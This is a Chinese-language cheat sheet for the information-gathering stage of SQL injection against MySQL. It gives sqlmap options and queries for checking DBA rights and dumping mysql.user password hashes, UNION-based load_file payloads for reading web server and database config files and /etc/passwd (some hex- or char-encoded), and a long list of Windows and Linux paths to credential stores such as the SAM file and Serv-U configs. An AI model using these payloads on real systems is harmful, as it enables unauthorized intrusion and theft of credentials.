SQL注入中的信息收集
注入點數據庫用戶是否dba
sqlmap: --is-dba
--current-user
select user();
注入點數據庫用戶具體擁有的權限及相關信息如密碼hash
sqlmap: --privileges
show grants for root@localhost;
select * from mysql.user where user='root'\G;
secure_file_pri是否為null或包含可訪問路徑
secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE(),dumpfile傳到哪個指定目錄的。即mysql的讀和寫函數
- secure_file_priv為null 表示不允許導入導出
- secure_file_priv指定文件夾時,表示mysql的導入導出只能發生在指定的文件夾
- secure_file_priv沒有設置時,則表示沒有任何限制
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
網站絕對路徑
phpinfo
報錯顯示絕對路徑
通過數據庫存儲路徑/數據庫日志路徑猜測網站路徑
select @@datadir;
SHOW GLOBAL VARIABLES LIKE '%log%';
讀中間件配置文件
sqlmap:--file-read
select load_file('/etc/apache/conf/httpd.conf');
Mysql版本
sqlmap:--banner
select version();
5.1x無 information_schema 庫,只能枚舉查詢庫名表名
Mysql高版本如5.6以上安全模式默認禁止寫入寫出
是否有相關中間件,如phpmyadmin
phpmyadmin舊版本漏洞
通過phpmyadmin日志getshell
獲取系統信息等
讀密碼
讀網站管理員密碼
找庫找表讀密碼登后台
讀數據庫用戶密碼
sqlmap:--passwords
select * from mysql.user\G;
select * from mysql.user where user='root'\G;
密碼hash解不開
有絕對路徑則讀取數據庫配置文件,需要load_file()權限
讀/etc/init.d下的東西,這里有配置文件路徑
?id=1' union select 1,2,load_file('/etc/init.d/httpd')
得到web安裝路徑
?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf')
讀取數據庫配置
?id=1' union select 1,2,load_file('/site/xxx.com/conf/conn.inc.php')
讀文件
sqlmap:--file-read
select load_file('絕對路徑');
Windows
c:/boot.ini //查看系統版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,記錄管理員登陸過的MYSQL用戶名和密碼
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機網站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置
c:\windows\repair\sam //存儲了WINDOWS系統初次安裝的密碼
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲於此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件//存儲了pcAnywhere的登陸密碼
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系統apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp開發的網站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的用戶密碼
Linux
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/sysconfig/iptables //從中得到防火牆規則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相關設置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機配置文件
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虛擬主機配置文件
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看
/etc/sysconfig/iptables 查看防火牆策略
load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))